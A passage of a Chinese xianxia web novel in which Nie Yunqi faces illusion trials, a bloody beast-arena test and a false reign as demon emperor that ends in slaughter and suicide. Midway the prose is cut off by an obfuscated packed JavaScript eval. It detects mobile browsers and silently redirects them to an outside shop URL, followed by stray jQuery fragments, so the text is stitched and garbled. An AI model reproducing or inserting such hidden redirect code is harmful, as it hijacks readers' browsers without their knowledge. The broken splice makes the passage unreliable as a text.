“先别进去,里面全是阵法,一不小心会迷失其中,你不该如此莽撞劈开山妖像,或许能直接找到暗藏的核心阵法。”
“你懂阵法,她还教你阵法了?”聂云祁敏锐地察觉到这个世界的自己学了更多的东西。
“师尊擅长阵法,没有不教的道理。师尊还教我写字,之前每天都要交一篇大字功课。”
麒麟理所应当的说道,别以为他看不出来,这个孤鬼表面上说师尊这不好那不好,实际对师尊的任何事情都在意得要死。
“呵。”
偏心。
聂云祁冷笑一声,将手中温灵冶的绢花攥得死紧,踏入满是迷幻阵法的通道。
“我懂阵法。”麒麟制止孤鬼莽撞的行为。
“这么多阵法,一个一个解过去,浪费时间。”他握紧挽霜,冷淡开口。
没有教他阵法又如何?他手中的剑会斩破虚妄。
风雪凛冽,斗兽场空地上摆着十几个铁笼子,每个笼子内关着一个少男,笼子外一群饿了许久的野兽,正留着涎水,凶狠地贪婪地注视着笼中的美味。
“殿下们,笼子外面的不过是些没有修为的凡兽,身为魔皇的血脉,这是必要的磨炼。”看台上有人高声道。
魔皇端坐高台,身边是新晋宠妃。
笼子里的少男们衣着简薄,他们没有一个人有修为,不能用灵力取暖,被冻得缩成一团,身体止不住打颤,没有人给他们发武器,面对这群饥饿的野兽,只能赤手空拳地去厮杀。
宠妃贴在魔皇耳边悄声说了些什么,逗得魔皇哈哈大笑,搂着她一阵揉搓,对着下面宣布道:“从大到小,一个一个的来。”
“有请大殿下!”
随着声音落下,关着聂裟一的铁笼被隔空打开,野兽们慢慢靠近,他像是被吓傻了,又或者是被冻得无法思考,竟然动也不动,任由着饿极了的野兽咬开他的脖子,混着单薄的衣服,将他的血肉吞噬殆尽。
滚烫的鲜血混着雪花飘落,在地上形成红色的血冰,呼吸间鼻腔感到冷空气而刺痛,又因为空气中夹杂着血腥气,令人作呕反胃。
聂芸七缩在笼子的一角,雪落在他纤长浓密地睫毛上,结成细小地冰晶,他麻木地看着眼前发生的一切,大哥解脱了,虽然被吃掉很痛苦,但以后不必受折磨了。
他也该像大哥那样早些结束痛苦吗?
“有请二殿下!”
聂熙二的铁笼也被打开了,他没有像聂裟一那样坐以待毙,而是在第一时间就冲出去同野兽们搏斗,用拳头砸,用牙齿咬,满身血,满嘴毛,他伤到其中一个野兽,但终究寡不敌众,死于兽口。
“哈哈哈哈······”高台上传来两道笑声,人与兽的搏斗,终于逗笑了魔。
二哥斗了,也没用。
“有请三殿下!”
“父皇何必如此,儿臣自绝便是。看在我母家旧部曾为您浴血战场的份上,请父皇留儿臣一具全尸吧,别让母妃见到我时,因为我血肉模糊的白骨而悲愤。”
聂明三说完咬舌自尽,他的笼子没有被打开,魔皇摆摆手,聂玉四的笼子开了。
三哥,早就看透了,所以他求了个体面。
······
“七殿下,到你了。”
铁门咔嚓一声被打开,吃了个半饱的野兽们没有马上冲进来,聂云祁抓住时机,爬到笼子顶端,趁没有野兽跳上来前,又跳到另一个笼子的顶端,来回溜着野兽们,直到跳到聂裟一的铁笼子上,溜晕了的野兽们,有的还在上一个笼子的顶端,有的正准备跳上这个笼子。
就是此刻——
聂芸七跳下去,钻进铁笼子,选了根聂裟一的股骨,卡在笼子缝隙间将它撇断,断裂处参差不齐,露出锋利的骨刺。
他不认命。
“既入我门下,便不再是寂寂无名的小草。云之祁祁,或雨于渊。你是雷灵根的天才,也是天上能掌管人世间枯荣的云。”
耳畔响起那个人的声音,他低头轻笑一声。
他不是魔界的七殿下,不是聂芸七。
有人珍爱他,有人期待他,他是聂云祁。
锋利的骨刺穿透了恶狼的咽喉,兽血与人血没什么不同,都一样的腥臭难闻,野兽们看见聂云祁反杀,纷纷畏惧,不是踟蹰不前,就是往后退,以他为中心,形成一片真空地带。
“砰——”刚咽气的恶狼被重重丢在地上,发出令人心悸的闷响。
场内外一片寂静,无人敢做声。
有相对弱小的野兽没吃饱,上前啃咬起恶狼尚有余温的尸身。
“啊——”看台上的宠妃发出一声惊叫,花容失色地缩进魔皇怀里瑟瑟发抖。
聂云祁将血肉模糊的狼尸扔向看台,众野兽也扑向看台。
魔皇略一挥手,看台与斗兽场中间出现一道光幕,将狼尸和野兽们反弹回去。
聂云祁直视着自己血脉上的父亲,手中的骨刺化作挽霜剑,挥出雷霆一击。
紫电威势一闪而过,眼前幻像化成泡影,这一关迷阵他过了。
······
“恭贺陛下一统魔界!”
“恭贺陛下一统魔界!”
“恭贺陛下一统魔界!”
寂灵宫内众臣跪拜,不管真心与否,都跪伏在地,庆贺新主的上位。
聂云祁站在大殿之上,前任魔皇的血迹已经风干,如今他登临魔皇之位,修为也离大乘期只有一步。
“退下吧。”
权势已极,修为臻化,他却颇感无趣,好像这里没有他想要的。
“陛下?夫君?”
方曦月端着一盅冒着热气的羹汤,在殿外等着他。
聂云祁揭开盖子,汤色鲜亮,食材珍贵,但隐约有一股辛辣的气味。
“放姜了?”他心里升起一股烦躁,为什么要在汤里放姜,不知道······
“夫君平日对姜不忌口啊?”方曦月脸上适时出现一抹疑惑。
是啊,他从小饥一顿饱一顿,从不挑剔任何入口的食物,若他不忌口,那···是谁不喜欢姜的味道?
“你自己喝吧,我还有事。”
聂云祁冷冷丢下一句话,不理会方曦月的反应,根据身体记忆回到自己的寝殿,看见有人坐在梳妆台面前,他下意识就想上前为她挽发。
“陛下没喝魔后姐姐给您炖的汤,倒想起妾来了。”柳凤鸣拿着梳子细细梳理着她的头发,“既然来了,若不给妾梳个好看的发式,妾可不依。”
“你怎么在这儿?你没死?”聂云祁看见她,心里说不出来的反感。
“陛下怎么咒妾?”柳凤鸣递梳子的动作一顿,低头哭起来。
聂云祁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726397|205350||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拂袖而去,他不理解。
“灼蕖妹妹多喝些,你现在是一个人吃两个人补,可不能饿着我们的小殿下。”
方曦月将那盅聂云祁不喝的汤送给了灼蕖,尽显大房风范。
“多谢魔后姐姐照拂。”灼蕖抚摸着已经显怀的肚子,脸上全是即将为人母的喜悦。
“陛下来了,妾参见陛下。”灼蕖看见站在花园一头的聂云祁,连忙站起身行礼,方曦月同样行礼。
“妹妹怀着孩子,陛下果然多有惦记,这不刚下朝就找到花园来了。”方曦月假意吃醋,实则维护二人关系。
“你怀孕了?!”
“我的?!”
聂云祁感到巨大的疑惑。
“陛下怎么跟个小孩子一样,还一直问呢?”灼蕖低下头,面露羞涩。
“陛下第一次当父亲,怕是高兴坏了。”方曦月打着圆场。
“你一个男的怎么会怀有身孕?”
“陛下说什么?”灼蕖、方曦月异口同声。
手中挽霜不知何时出现,他举起剑,对着二人。
“不对。”
二人跪下抱作一团,不知道她们的夫君是怎么了。
“陛下觉得哪里不对?”方曦月连夫君也不敢叫。
“她呢?”
一个看不清的身影浮现在聂云祁的脑海中,让他忍不住去追寻。
“谁?凤鸣妹妹吗?她身子弱,不是在您的寝殿安置吗?”
“不是!”聂云祁急切地反驳,眼中的不耐烦要溢出来了。
“那陛下要找谁呢?”方曦月又列举了几个女子的名字,统统被聂云祁否决。
是谁?他要找谁?
他紧握挽霜,这把剑又是从何而来?
方曦月看他一直盯着手中剑,心里咯噔一下,试探着开口道:“陛下莫不是找小师叔?”
“小师叔?她是谁?”聂云祁心头一通,感觉模糊的人影逐渐清晰。
“就是青姮剑尊温灵冶,您的······师尊。”方曦月战战兢兢地说出。
“对,我就是要找她,我师尊在哪儿?”聂云祁豁然开朗,脸上冒出喜气。
方曦月更害怕了,“小师叔不是已经陨落了吗?尸首都化作白骨了?陛下还恨她?”
“胡说!”聂云祁心头的怒火止不住往外冒,一剑刺死了方曦月。
怎么可能?师尊怎么会死?
假的!
聂云祁喷出一口心头血,哀怒至极,用沾着鲜血的剑指向动也不敢动的灼蕖,“我的师尊·····”
“天佑陛下,那见人想害您没成功,反倒陨落,果然······”活该二字尚未说出口,脖子上的锋利的剑痕,缓缓流出鲜血。
“你也配诋毁师尊。”
他提着剑,一路问一路杀,魔皇宫内魔魔惶恐。
“陛下问这个做什么?温灵冶想剖您的心炼丹的事一败露,早就在修真界声名狼藉了,陛下——”
柳凤鸣也被一剑穿心。
聂云祁杀疯了,整个魔皇宫血色弥漫。
“假的,都是假的。”
聂云祁谁的话都不信,一剑抹了自己的脖子。
······
再睁开眼,入目满是喜庆的红色,他挑起盖头。
今日,是他和师尊的大婚之喜。